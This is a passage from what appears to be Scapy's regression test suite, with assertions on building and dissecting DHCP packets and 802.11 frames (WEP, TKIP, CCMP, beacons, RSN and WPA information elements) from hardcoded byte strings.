BOOTP().hashret() == b"\x00\x00\x00\x00" import random random.seed(0x2809) assert str(RandDHCPOptions(size=1)) in [r"[('NIS_server', '0.45.231.69')]", r"[('ieee802-3-encapsulation', 229)]"] = DHCPOptionsField value = [("hostname", "scapy")] dhcpoptfield = DHCPOptionsField("options", "") assert dhcpoptfield.i2repr("", value) == "[hostname='scapy']" assert dhcpoptfield.i2repr("", ["opt", "opt2"]) == "[opt opt2]" assert dhcpoptfield.i2m("", value) == b'\x0c\x05scapy' assert dhcpoptfield.m2i("", b'\x0cunknown') == [b'\x0cunknown'] assert dhcpoptfield.m2i("", b'\x0c\x05scapy') == [('hostname', b'scapy')] unknown_value_end = b"\xfe" + b"\xff"*257 udof = DHCPOptionsField("options", unknown_value_end) assert udof.m2i("", unknown_value_end) == [(254, b'\xff'*255), 'end'] unknown_value_pad = b"\xfe" + b"\xff"*256 + b"\x00" udof = DHCPOptionsField("options", unknown_value_pad) assert udof.m2i("", unknown_value_pad) == [(254, b'\xff'*255), 'pad'] = DHCP - build s = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="00:01:02:03:04:05")/DHCP(options=[("message-type","discover"),"end"])) assert s == b'E\x00\x01\x10\x00\x01\x00\x00@\x11{\xda\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x00\xfcf\xea\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0000:01:02:03:04:0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc5\x01\x01\xff' s2 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="05:04:03:02:01:00")/DHCP(options=[("param_req_list",[12,57,45,254]),("requested_addr", "192.168.0.1"),"end"])) assert s2 == b'E\x00\x01\x19\x00\x01\x00\x00@\x11{\xd1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01\x058\xeb\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0005:04:03:02:01:0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc7\x04\x0c9-\xfe2\x04\xc0\xa8\x00\x01\xff' s3 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="05:04:03:02:01:00")/DHCP(options=[("time_zone",123),("uap-servers","www.example.com"),("netinfo-server-address","10.0.0.1"), ("ieee802-3-encapsulation", 2),("max_dgram_reass_size", 120), ("pxelinux_path_prefix","/some/path"), "end"])) assert s3 == b'E\x00\x01=\x00\x01\x00\x00@\x11{\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01)\x04i\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0005:04:03:02:01:0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc\x02\x04\x00\x00\x00{b\x0fwww.example.comp\x04\n\x00\x00\x01$\x01\x02\x16\x02\x00x\xd2\n/some/path\xff' = DHCP - dissection p = IP(s) assert DHCP in p and p[DHCP].options[0] == ('message-type', 1) p2 = IP(s2) assert DHCP in p2 assert p2[DHCP].options[0] == ("param_req_list",[12,57,45,254]) assert p2[DHCP].options[1] == ("requested_addr", "192.168.0.1") p3 = IP(s3) assert DHCP in p3 assert p3[DHCP].options[0] == ("time_zone",123) assert p3[DHCP].options[1] == ("uap-servers", b'www.example.com') assert p3[DHCP].options[2] == ("netinfo-server-address", "10.0.0.1") assert p3[DHCP].options[3] == ("ieee802-3-encapsulation", 2) assert p3[DHCP].options[4] == ("max_dgram_reass_size", 120) assert p3[DHCP].options[5] == ("pxelinux_path_prefix", b'/some/path') assert p3[DHCP].options[6] == "end" ############ ############ + 802.11 ~ dot11 = 802.11 - misc PrismHeader().answers(PrismHeader()) == True dpl = Dot11PacketList([Dot11()/LLC()/SNAP()/IP()/UDP()]) len(dpl) == 1 dpl_ether = dpl.toEthernet() len(dpl_ether) == 1 and Ether in dpl_ether[0] = Dot11 - build s = raw(Dot11()) s == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Dot11 - dissection p = Dot11(s) Dot11 in p and p.addr3 == "00:00:00:00:00:00" assert p.mysummary() == '802.11 Management Association Request 00:00:00:00:00:00 (TA=SA) > 00:00:00:00:00:00 (RA=DA)' assert "DA" in p.address_meaning(1) assert "SA" in p.address_meaning(2) assert "BSSID" in p.address_meaning(3) = Dot11QoS - build s = raw(Dot11()/Dot11QoS(Ack_Policy=1)) assert s == b'\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00' s = raw(Dot11(type=2, subtype=8)/Dot11QoS(TID=4)) assert s == b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00' = Dot11 - binary in SSID pkt = Dot11() / Dot11Beacon() / Dot11Elt(ID=0, info=b"".join(chb(i) for i in range(32))) pkt.show() pkt.summary() assert pkt[Dot11Elt::{"ID": 0}].summary() in [ "SSID='%s'" % "".join(repr(chr(d))[1:-1] for d in range(32)), 'SSID="%s"' % "".join(repr(chr(d))[1:-1] for d in range(32)), ] pkt = Dot11(raw(pkt)) pkt.show() pkt.summary() assert pkt[Dot11Elt::{"ID": 0}].summary() in [ "SSID='%s'" % "".join(repr(chr(d))[1:-1] for d in range(32)), 'SSID="%s"' % "".join(repr(chr(d))[1:-1] for d in range(32)), ] = Dot11QoS - dissection p = Dot11(s) assert Dot11QoS in p assert p.TID == 4 assert "DA" in p.address_meaning(1) assert "SA" in p.address_meaning(2) assert "BSSID" in p.address_meaning(3) = Dot11 - answers query = Dot11(type=0, subtype=0) Dot11(type=0, subtype=1).answers(query) == True = Dot11 - misc assert Dot11Elt(info="scapy").summary() == "SSID='scapy'" assert Dot11Elt(ID=1).mysummary() == "" assert Dot11(b'\x84\x00\x00\x00\x00\x11\x22\x33\x44\x55\x00\x11\x22\x33\x44\x55').addr2 == '00:11:22:33:44:55' = Multiple Dot11Elt layers pkt = Dot11() / Dot11Beacon() / Dot11Elt(ID="Supported Rates") / Dot11Elt(ID="SSID", info="Scapy") assert pkt[Dot11Elt::{"ID": 0}].info == b"Scapy" assert pkt.getlayer(Dot11Elt, ID=0).info == b"Scapy" = Dot11WEP - build ~ crypto conf.wepkey = "" assert raw(PPI()/Dot11(FCfield=0x40)/Dot11WEP()) == b'\x00\x00\x08\x00i\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' conf.wepkey = "test123" assert raw(PPI()/Dot11(type=2, subtype=8, FCfield=0x40)/Dot11QoS()/Dot11WEP()) == b'\x00\x00\x08\x00i\x00\x00\x00\x88@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008(^a' = Dot11WEP - dissect ~ crypto conf.wepkey = "test123" a = PPI(b'\x00\x00\x08\x00i\x00\x00\x00\x88@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008(^a') assert a[Dot11QoS][Dot11WEP].icv == 942169697 = Dot11TKIP - dissection pkt = RadioTap(b'\x00\x00\x0f\x00*\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x08B\x00\x00\xff\xff\xff\xff\xff\xff\xfe\xec\xda\x1d\xa3M\x00\x04t\x14\x02BP+\x01!\x00\xa0\x01!\x00\xa0\x01!\x00\xa0\x00\x00\x00\x00\xb0\xb6sN\xbdl9S\xc3x\x9d\xa6TEp\xcd(\xebht{\xff9\x9a[\x0f~\x00\xf8&m$\x1e\xd2[dXn\x16\x8526G\x8c\x88\xc3B\xc9\xda^\xc5w\xa5 \x9a\xa0 \x08') assert Dot11TKIP in pkt assert pkt[Dot11TKIP].TSC1 == 1 assert pkt[Dot11TKIP].WEPSeed == 33 assert pkt[Dot11TKIP].TSC0 == 0 assert pkt[Dot11TKIP].key_id == 2 assert pkt[Dot11TKIP].ext_iv == 1 assert pkt[Dot11TKIP].res == 0 assert pkt[Dot11TKIP].TSC2 == 1 assert pkt[Dot11TKIP].TSC3 == 33 assert pkt[Dot11TKIP].TSC4 == 0 assert pkt[Dot11TKIP].TSC5 == 160 assert "DA" in pkt[Dot11].address_meaning(1) assert "TA=BSSID" in pkt[Dot11].address_meaning(2) assert "SA" in pkt[Dot11].address_meaning(3) = Dot11CCMP - dissection pkt = RadioTap(b'\x00\x00\x0f\x00*\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x08b\x00\x00\x01\x00^\x7f\xff\xfa\x0e\xec\xda\x1d\xa3M\x00\x0eX7\xbe\xbe\x00\x8aD#\x00\xa0D#\x00\xa0\x00\x00\x00\x00c\xb7\rv/s\x88N;>\x07\x0e\xe5\xd9\xf5\xfa\xcdD\xc2he\xfc\xc5^m\xae\xf2\xfe\xf9\xb06\xce\rt\xbe\x9d(\xb5\x98\x848NU\x0f\x93\x0f]m\xa2\x96\x80{\x95\x00\xb5\x98Y!\xa3^\xfc\xda\xca.R\xf3\xd3\xf8^\xeda\x88\x82p\xc6\xb8L\x0b\x815-\x85(\xb1F\xd5K\x166dJ\xc7\x04B\xdb\xec\x8d\xb7:{\x0f\'g<\x06\xd07>\xde\xad\x08\xcb\xffr\xfa\xf4}o\xe9\xa9b\xa5)\x87\x90\xa5{\xe1\xea\x0f\x0fGf`x1\xbd\xc1\xe8\xa0\xb6(\x05gq\xf3\x99\x9e\x93\xde\'\x8e\nQ\xf7\xad\xf7\x89"\xee\xcf\xe8$\x8a\x9c\xb4\xe6\x03\xab\x9ec\xd0\xd5\x08\xca\xd2\xbb\xae\xcc\x9c$R\xbc\xcdFO?\xc3Ah\x9ch\xd4\x9b)m\xea\xbab+\'\x06I2\xb5!\xdb\x03\xbe\xb8\xb2\x86\x0f\x80\n\xbc\x85\x02\xb4T\x00\x00\xc7|\xac\xc0B\xb2\x89\xbb\xc5\xc0\x93\x858\xe3Q\xf9\t\xff4\xdb\x9a>\xe5O-e\x16\x81w!9m\xb9dZ\xaa\xaa0\x9cW\xaa\xa3\xf1\xdd\xecW\xdd\xc41D\xe6\xba\xf3SQ\x81S\xf6\xbd\xe3\xc0e\xba\xa0*\x15%\x9cz0\xa8\xa6l\x8e\x0c(\xd3\xe4\xa2\xf9\xc2:Yae#T\x8d\xef\x01\xfad\x05/\xdb\xf2!D\xde~\x0f\x99\xf6U\xf5\xbf\xd0\xaf\xbe0\xf7\xf03\xa8s`\x8d>4\x98\xb5Y\x06dXFz\x88\x82\'B\x84\xe6\xca\x05\x02\xd5G\xb6\x11\xed <\xb1\xd4\xc9\xa9\xaa\xae\xc9\xb3g\xbc\xfd+\xe7\x1aG\x92\x17\xdb\xce\xf7\x843\xce4\xc4w\x8f\x8a\x83\xf0\'\xfe\x87\x14\x95\xd3\x0bM\xbaL$\xc8\x8d\' 8\x87c 3yt\xc5\xeeN\xc9\xe1\x95\x1d\xe9\xddh\x87E\x07\xe5\x86\xc7\x82\x8a\x88\x05\xa4\x06\xb1\x0c\xddV\xd0\xf0d\xc8\xcet`\xc5C\xcb\x8f\x06]A\x92\x1a\xae5wc\x8dN\xa2\xf0}aJ\x9c\x8e\xd1\xb2[*\xffK\x0f\xf8u\xd5\x84#\xc3"\xffX\x9f\xffC\x0fb\x02n\x1b\xbaAr\x93\xe1\xb7\x1f\x8e\x1c\xfev]w\xaa\xcch\x8c{lm\xb9\x9aE\x08\x1d\xc28u\x82\xa8\xbe\xf2\xb3\x11\xdc\x90 \x83\xa7\x9c*:\x01R\xcf\xd6\xc6~\x989\x9a5\xc97\xfa\x10\xe4!uEP\x968\x00*\xd0\xefE\xf8{\x1d(\xcb\xe3IR\\r\xee\x9fU\x14\ty\xe3\xdc\x96@\xf4\x8d\x17\xab\xcc\x98I\x8e\xe16\x9e\xa5+\xe0\xa8{S\x051##\x90:A') assert Dot11CCMP in pkt assert pkt[Dot11CCMP].PN0 == 68 assert pkt[Dot11CCMP].PN1 == 35 assert pkt[Dot11CCMP].res0 == 0 assert pkt[Dot11CCMP].key_id == 2 assert pkt[Dot11CCMP].ext_iv == 1 assert pkt[Dot11CCMP].res1 == 0 assert pkt[Dot11CCMP].PN2 == 68 assert pkt[Dot11CCMP].PN3 == 35 assert pkt[Dot11CCMP].PN4 == 0 assert pkt[Dot11CCMP].PN5 == 160 = Dot11 - answers a = Dot11()/Dot11Auth(seqnum=1) b = Dot11()/Dot11Auth(seqnum=2) assert b.answers(a) assert not a.answers(b) assert not (Dot11()/Dot11Ack()).answers(Dot11()) assert (Dot11()/LLC(dsap=2, ctrl=4)).answers(Dot11()/LLC(dsap=1, ctrl=5)) = Dot11Beacon network_stats() data = b'\x00\x00\x12\x00.H\x00\x00\x00\x02\x8f\t\xa0\x00\x01\x01\x00\x00\x80\x00\x00\x00\xff\xff\xff\xff\xff\xffDH\xc1\xb7\xf0uDH\xc1\xb7\xf0u\x10\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x11\x00\x00\x06SSID76\x01\n\x82\x84\x0c\x12\x18$0H`l\x03\x01\x080\x18\x01\x00\x00\x0f\xac\x04\x02\x00\x00\x0f\xac\x04\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02\x0c\x00\x07\tUSI\x01\x18\x00\n\x05\xe7' pkt = RadioTap(data) nstats = pkt[Dot11Beacon].network_stats() nstats assert nstats == { 'channel': 8, 'crypto': {'WPA2/PSK'}, 'rates': [1.0, 2.0, 6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0], 'ssid': 'SSID76', 'country': 'US', 'country_desc_type': 'Indoor' } data = b'\x00\x00\x16\x00\x0f\x00\x00\x00|P\xb1\x82\xae\x86\x05\x00\x00\x02l\t\xa0\x00\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00:Q\xb1\x82\xae\x86\x05\x00d\x00\x11\x04\x00\x0cWPA3-Network\x01\x08\x82\x84\x8b\x96\x0c\x12\x18$\x03\x01\x01\x05\x04\x00\x02\x00\x00*\x01\x042\x040H`l0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x08\xc0\x00;\x02Q\x00\x7f\x08\x04\x00\x00\x00\x00\x00\x00@' pkt = RadioTap(data) nstats = pkt[Dot11Beacon].network_stats() nstats assert nstats == { 'ssid': 'WPA3-Network', 'rates': [1.0, 2.0, 5.5, 11.0, 6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0], 'channel': 1, 'crypto': {'WPA3/SAE'} } = Dot11EltCountry dissection data = b"\x00\x00&\x00/@\x00\xa0 \x08\x00\xa0 \x08\x00\x00R\xa9[#\x00\x00\x00\x00\x10\x18\x85\t\xc0\x00\xc8\x00\x00\x00\xc3\x00\xc7\x01P\x080\x00V\x9cm\xf4\xb1\xe9\xa0\xcf[\xfb%0\xa0\xcf[\xfb%0\xa0R&\x1a@\xc2\x06\x03\x00\x00f\x00!\x14\x00\x1eDisney Convention Center Guest\x01\x07\x12\x98$0H`l\x03\x01\x06\x07\x06US \x01\x0b\x1e\x0b\x05\n\x00\x8a\x8d[ \x01\x03*\x01\x00-\x1a,\x18\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x006\x03*L\x01=\x16\x06\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x05s\xc0\x00\x00\x00\x7f\x06\x00\x10\x00\x04\x01@\x85\x1e\x10\x00\x8f\x00\x0f\x00\xff\x03Y\x001617-AP33-SorcA\x00\n\x00\x00:\x96\x06\x00@\x96\x00\x0b\x00\xdd\x18\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00\xdd\x06\x00@\x96\x01\x01\x04\xdd\x05\x00@\x96\x03\x05\xdd\x05\x00@\x96\x0bI\xdd\x05\x00@\x96\x14\x00dZ\x97\xbf" pkt = RadioTap(data) assert pkt[Dot11EltCountry].info == b'US \x01\x0b\x1e' assert len(pkt[Dot11EltCountry].descriptors) == 1 assert pkt[Dot11EltCountry].descriptors[0].mtp == 30 * Country element: padding check data = hex_bytes('00001a002f48000017cd9f3100000000000c3c144001e000000080000000ffffffffffff461b860bef06461b860bef06909403e0f75b0000000064001105000c4c697665626f782d3232353001088c1218243048606c0301240504020300000728504c202401172801172c01173001173401173801173c011740011764011e68011e6c011e70011e000b05000002ffff46050000000000200100c30502171717002a01002d1aef0117fffffffffeffffffff1f000001000000000018e6e719003d1624050000000000000000000000000000000000000000dd180050f2020101840003a4000027a4000042435e0062322f0030140100000fac040100000fac040100000fac020000bf0cb279c33faaff0000aaff0000c005012a00fcffdd1e002686010300dd00000025040592000601d15b5816830000000000000000dd06002686170000dd0e00268618010101024c1b860bef067f080100080200000040dd3b0050f204104a0001101044000102105700010110470010344331423836f042f546303634433142103c000103103c0001031049000600372a000120') pkt = RadioTap(data) assert pkt[Dot11EltCountry].pad == 0 assert pkt.getlayer(Dot11Elt, ID=11) * Country element: Secondary padding check erp_payload = b'\x1e\x2a\x01\x62' country_payload = b'\x07\x06\x55\x53\x20\x01\x0b' bare_country = Dot11EltCountry(country_payload) country_nested = Dot11EltCountry(country_payload + erp_payload) assert not bare_country.payload assert country_nested.payload assert country_nested.payload.ID == 42 = RSNCipherSuite assert bytes(RSNCipherSuite()) == b'\x00\x0f\xac\x04' rsn = RSNCipherSuite(b'\x00\x0f\xac\x04') assert rsn.oui == 0x0fac assert rsn.cipher == 0x04 = AKMSuite assert bytes(AKMSuite()) == b'\x00\x0f\xac\x01' akm = AKMSuite(b'\x00\x0f\xac\x01') assert akm.oui == 0x0fac assert akm.suite == 0x01 = PMKIDListPacket assert bytes(PMKIDListPacket()) == b'\x00\x00' pmkids = PMKIDListPacket(b'\x01\x00LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x11') assert pmkids.nb_pmkids == 1 assert len(pmkids.pmkid_list) == 1 assert pmkids.pmkid_list[0] == b'LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x11' = Dot11EltRSN assert bytes(Dot11EltRSN()) == b'0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00' rsn_ie = Dot11EltRSN(b'0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x01\x00') assert rsn_ie.group_cipher_suite.cipher == 0x04 assert rsn_ie.nb_pairwise_cipher_suites == 0x01 assert rsn_ie.pairwise_cipher_suites[0].cipher == 0x04 assert rsn_ie.nb_akm_suites == 0x01 assert rsn_ie.akm_suites[0].suite == 0x01 assert rsn_ie.pre_auth assert Dot11Elt in rsn_ie pkt = RadioTap(b"\x00\x000\x00/@\x00\xa0 \x08\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x00\x00\x00\x00\x0bpin;%\xedN\x10\x0cl\t\xc0\x00\xce\x00\x00\x00\xb2\x00\xbd\x01\xce\x02\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\xec\x17/\x82\x1e)\xec\x17/\x82\x1e)\x10p\x81a\xa1\x08\x00\x00\x00\x00d\x001\x04\x00\rROUTE-821E295\x01\x01\x8c\x03\x01\x01\x05\x04\x00\x02\x00\x00\x07$IL \x01\x01\x14\x02\x01\x14\x03\x01\x14\x04\x01\x14\x05\x01\x14\x06\x01\x14\x07\x01\x14\x08\x01\x14\t\x01\x14\n\x01\x14\x0b\x01\x14;\x12QQRSTstuvwxyz{}~\x7f\x80*\x01\x000\x1a\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x8c\x00\x00\x00\x00\x0f\xac\x06-\x1a\x8d\x01\x1f\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x01\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x18\x00P\xf2\x02\x01\x01\x81\x00\x03\xa4\x00\x00'\xa4\x00\x00BT^\x00a2/\x00\x7f\x01\x04\xdd\x07\x00\xa0\xc6\x02\x02\x03\x00\xdd\x17\xec\x17/RRRRRRRRRRRRRRRRRRRRR\x9e[\xf2") assert Dot11EltRSN in pkt pkt[Dot11Beacon].network_stats() assert pkt[Dot11Beacon].network_stats() == { 'ssid': 'ROUTE-821E295', 'rates': [6.0], 'channel': 1, 'country': 'IL', 'country_desc_type': None, 'crypto': {'WPA2/PSK'} } assert [x.ID for x in pkt[Dot11Elt].iterpayloads()] == [0, 1, 3, 5, 7, 59, 42, 48, 45, 61, 221, 127, 221, 221] assert pkt.pmkids.nb_pmkids == 0 assert pkt.group_management_cipher_suite.oui == 0xfac assert pkt.group_management_cipher_suite.cipher == 0x6 = Dot11EltMicrosoftWPA assert bytes(Dot11EltMicrosoftWPA()) == b'\xdd\x16\x00P\xf2\x01\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01' ms_wpa_ie = Dot11EltMicrosoftWPA(b'\xdd\x1a\x00P\xf2\x01\x01\x00\x00P\xf2\x02\x02\x00\x00P\xf2\x04\x00P\xf2\x02\x01\x00\x00P\xf2\x01') assert ms_wpa_ie[Dot11EltMicrosoftWPA].type == 0x01 assert ms_wpa_ie[Dot11EltMicrosoftWPA].version == 0x01 assert ms_wpa_ie[Dot11EltMicrosoftWPA].group_cipher_suite.cipher == 0x02 assert ms_wpa_ie[Dot11EltMicrosoftWPA].nb_pairwise_cipher_suites == 0x02 assert ms_wpa_ie[Dot11EltMicrosoftWPA].pairwise_cipher_suites[0].cipher == 0x04 assert ms_wpa_ie[Dot11EltMicrosoftWPA].pairwise_cipher_suites[1].cipher == 0x02 assert ms_wpa_ie[Dot11EltMicrosoftWPA].nb_akm_suites == 0x01 assert ms_wpa_ie[Dot11EltMicrosoftWPA].akm_suites[0].suite == 0x01 assert Dot11Elt in ms_wpa_ie = Dot11EltVendorSpecific assert bytes(Dot11EltVendorSpecific()) == b'\xdd\x03\x00\x00\x00' vendor_specific_ie = Dot11EltVendorSpecific(b'\xdd\t\x00\x03\x7f\x01\x01\x00\x00\xff\x7f') assert vendor_specific_ie.oui == 0x00037f assert Dot11Elt in vendor_specific_ie = Beacon with RSN IE f = Dot11(b"\x80\x00\x00\x00\xff\xff\xff\xff\xff\xffLN5V\xee\x03LN5V\xee\x03\xf0\x8f\x80\x01\xdc7\x00\x00\x00\x00\x90\x011\x04\x00\x0cciscosb-wpa2\x01\x08\x82\x84\x8b\x96\x0c\x12\x18$\x03\x01\x06\x05\x04\x00\x01\x00\x00*\x01\x000\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x01\x002\x040H`l\xdd\x18\x00P\xf2\x02\x01\x01\x84\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00\xdd\x1e\x00\x90L3L\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x1aL\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x1a\x00\x90L4\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x0e\x14\x00\n\x00,\x01\xc8\x00\x14\x00\x05\x00\x19\x00\x7f\x01\x01\xdd\t\x00\x03\x7f\x01\x01\x00\x00\xff\x7f\xdd\n\x00\x03\x7f\x04\x01\x00\x06\x00@\x00") assert Dot11EltRSN in f assert f[Dot11EltRSN].len == 20 assert f[Dot11EltRSN].group_cipher_suite[0].cipher == 0x04 assert f[Dot11EltRSN].pairwise_cipher_suites[0].cipher == 0x04 assert f[Dot11EltRSN].akm_suites[0].suite == 0x01 = Beacon with Microsoft WPA IE f = Dot11(b"\x80\x00\x00\x00\xff\xff\xff\xff\xff\xffNN5V\xee\x03NN5V\xee\x030\x8f\x80\x01\xdc7\x00\x00\x00\x00\x90\x011\x04\x00\x0bciscosb-wpa\x01\x08\x82\x84\x8b\x96\x0c\x12\x18$\x03\x01\x06\x05\x04\x00\x01\x00\x00*\x01\x00\xdd\x16\x00P\xf2\x01\x01\x00\x00P\xf2\x04\x01\x00\x00P\xf2\x04\x01\x00\x00P\xf2\x012\x040H`l\xdd\x18\x00P\xf2\x02\x01\x01\x85\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00\xdd\x1e\x00\x90L3L\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x1aL\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x1a\x00\x90L4\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x0e\x14\x00\n\x00,\x01\xc8\x00\x14\x00\x05\x00\x19\x00\x7f\x01\x01\xdd\t\x00\x03\x7f\x01\x01\x00\x00\xff\x7f\xdd\n\x00\x03